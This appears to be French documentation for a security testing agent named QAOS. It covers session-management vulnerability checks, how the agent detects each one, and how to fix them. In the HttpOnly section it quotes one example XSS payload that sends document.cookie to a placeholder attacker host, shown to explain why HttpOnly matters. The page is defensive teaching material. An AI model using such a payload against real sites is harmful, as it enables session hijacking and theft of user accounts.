Skip to main content
Les vulnérabilités de gestion des sessions permettent aux attaquants de voler ou falsifier des jetons de session, détournant les sessions utilisateur authentifiées sans connaître le mot de passe.

​
session-id-in-url

Critique

​
Description

Les identifiants de session apparaissent dans l’URL sous forme de paramètres de requête (ex. : ?sessionid=abc123, ;jsessionid=xyz), les rendant visibles dans l’historique du navigateur, les journaux du serveur, les en-têtes de référent et les liens partagés.

​
Importance

Une URL contenant un ID de session peut être :
  • Divulguée via l’en-tête HTTP Referer vers des sites tiers
  • Stockée dans l’historique du navigateur et accessible aux autres utilisateurs de la même machine
  • Capturée dans les journaux d’accès du serveur
  • Accidentellement partagée dans une capture d’écran ou un lien copié-collé
Chacun de ces scénarios résulte en un détournement de session sans attaque active.

​
Comment QAOS le détecte

L’agent inspecte l’URL actuelle après chaque navigation pour détecter des paramètres ressemblant à des identifiants de session : sessionid, session, sid, token, jsessionid, PHPSESSID et motifs similaires.

​
Exemples

https://app.example.com/dashboard?sessionid=abc123def456
https://app.example.com/page;jsessionid=ABCDEFG1234567
https://app.example.com/home?sid=user_9876token

​
Comment corriger

Stockez les identifiants de session exclusivement dans des cookies avec les flags HttpOnly et Secure définis. Ne transmettez jamais les jetons de session via des URLs. Si vous héritez d’un système legacy utilisant des sessions basées sur l’URL, migrez vers des sessions basées sur les cookies et implémentez SameSite=Strict ou SameSite=Lax.
Élevé

​
Description

Les cookies de session ou d’authentification ont des valeurs à faible entropie — ils sont courts, purement numériques, basés sur des horodatages ou suivent un motif prévisible. Cela indique que le serveur utilise un générateur de nombres aléatoires faible pour la création des jetons de session.

​
Importance

Les jetons de session à faible entropie peuvent être forcés par force brute ou prédits. Un attaquant qui peut énumérer ou deviner des IDs de session valides peut prendre le contrôle de n’importe quelle session active sans identifiants.

​
Comment QAOS le détecte

L’agent effectue une analyse statistique des valeurs de cookies de session — vérifiant la longueur, la diversité des caractères, l’entropie de Shannon et si la valeur correspond à des motifs comme des horodatages, des entiers séquentiels ou des données courtes encodées en base64.

​
Exemples de jetons faibles

session=83749201          ← purement numérique, court
auth=1708473600123        ← horodatage Unix en millisecondes
token=aGVsbG8=            ← base64 de "hello" (5 chars)
session=AAAAAABBBBBCCC    ← répétitif, faible entropie

​
Comment corriger

Utilisez un générateur aléatoire cryptographiquement sécurisé avec au moins 128 bits d’entropie (idéalement 256) : 
import secrets
session_id = secrets.token_urlsafe(32)  # ~256 bits

# Node.js
const crypto = require('crypto')
const sessionId = crypto.randomBytes(32).toString('hex')
Évitez Math.random(), rand(), les jetons basés sur des horodatages ou toute fonction déterministe.

​
cookies-missing-httponly

Élevé

​
Description

Les cookies de session ou d’authentification sont définis sans le flag HttpOnly, ce qui signifie que le JavaScript côté client peut les lire via document.cookie.

​
Importance

Si votre application a une vulnérabilité XSS (même mineure), un attaquant peut voler les cookies de session avec une simple charge utile JavaScript : 
// Charge utile XSS qui exfiltre le cookie de session
fetch('https://attacker.com/steal?c=' + document.cookie)
Le flag HttpOnly est une mesure de défense en profondeur critique qui empêche ce chemin d’escalade.

​
Comment QAOS le détecte

L’agent inspecte tous les cookies définis par l’application et vérifie la présence de l’attribut HttpOnly, spécifiquement sur les cookies dont les noms suggèrent qu’il s’agit de jetons de session ou d’authentification.

​
Exemple

Set-Cookie: session_id=abc123; Path=/; SameSite=Lax
# Flag HttpOnly manquant — JavaScript peut lire ce cookie

​
Comment corriger

Définissez le flag HttpOnly sur tous les cookies de session et d’authentification : 
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
Dans la plupart des frameworks, c’est une option de configuration : 
# FastAPI / Starlette
response.set_cookie("session_id", value, httponly=True, secure=True, samesite="lax")

# Express.js
res.cookie('session_id', value, { httpOnly: true, secure: true, sameSite: 'lax' })

​
session-id-in-hidden-field

Élevé

​
Description

Les identifiants de session sont intégrés dans des champs de formulaire cachés ou des éléments DOM accessibles côté client (ex. : <input type="hidden" name="session_id">), les rendant lisibles par tout JavaScript sur la page.

​
Importance

Les champs de formulaire cachés font partie du DOM et sont accessibles via JavaScript comme tout autre élément. Une vulnérabilité XSS n’importe où sur la page peut extraire l’ID de session d’un champ caché et l’exfiltrer vers un serveur contrôlé par un attaquant.

​
Comment QAOS le détecte

L’agent analyse le DOM pour les champs de saisie cachés et les métadonnées côté client dont les noms ou valeurs correspondent à des motifs d’identifiants de session (session_id, token, auth, sid, etc.).

​
Exemples

<!-- ID de session dans un champ caché — lisible par tout JS sur la page -->
<form action="/submit" method="POST">
  <input type="hidden" name="session_id" value="abc123def456">
</form>

​
Comment corriger

N’intégrez jamais les identifiants de session dans le DOM. Stockez l’état de session côté serveur et référencez-le exclusivement via des cookies HttpOnly que JavaScript ne peut pas lire. Si vous devez transmettre un jeton CSRF via un champ de formulaire, utilisez un jeton CSRF séparé et à usage limité plutôt que l’ID de session lui-même.

​
session-id-reused-after-authentication

Élevé

​
Description

L’identifiant de session n’est pas renouvelé lorsqu’un utilisateur se connecte — le même ID de session qui existait avant l’authentification est utilisé pour la session authentifiée. Cela crée une vulnérabilité de fixation de session.

​
Importance

Dans une attaque de fixation de session, un attaquant plante un ID de session connu dans le navigateur de la victime (ex. : via un lien malveillant ou XSS). Si l’application réutilise cet ID de session après la connexion, l’ID connu de l’attaquant devient authentifié et il obtient accès au compte de la victime.

​
Comment QAOS le détecte

L’agent capture la valeur du cookie de session avant la connexion, complète le flux d’authentification, puis compare la valeur du cookie de session après. Si la valeur est inchangée, la fixation de session est possible.

​
Comment corriger

Émettez un nouvel ID de session immédiatement après une authentification réussie : 
# FastAPI / Starlette — invalider l'ancienne session, en créer une nouvelle
request.session.clear()
request.session["user_id"] = user.id
# Le framework émet automatiquement un nouveau cookie de session

# Express.js avec express-session
req.session.regenerate((err) => {
  req.session.userId = user.id
})

​
missing-session-invalidation

Élevé

​
Description

La déconnexion n’invalide pas la session côté serveur. Le cookie de session reste valide après la déconnexion, permettant à un utilisateur (ou à un attaquant qui a capturé le cookie) de continuer à utiliser la session authentifiée.

​
Importance

Si un utilisateur se déconnecte sur un ordinateur partagé, ou si son cookie de session a été préalablement volé, l’attaquant conserve l’accès indéfiniment. L’invalidation correcte de session est le seul moyen de garantir qu’une déconnexion met réellement fin à la session.

​
Comment QAOS le détecte

L’agent capture le cookie de session, effectue une déconnexion, puis tente d’accéder aux pages authentifiées en utilisant le cookie capturé. Si l’accès est toujours accordé, l’invalidation de session est manquante.

​
Comment corriger

Invalidez la session côté serveur lors de la déconnexion — supprimez l’enregistrement de session du magasin, pas seulement le cookie côté client : 
# FastAPI / Starlette
request.session.clear()  # supprime les données de session côté serveur

# Express.js
req.session.destroy((err) => {
  res.clearCookie('connect.sid')
  res.redirect('/login')
})
Effacer le cookie côté client n’est pas suffisant — le serveur doit rejeter l’ID de session même si le client l’envoie.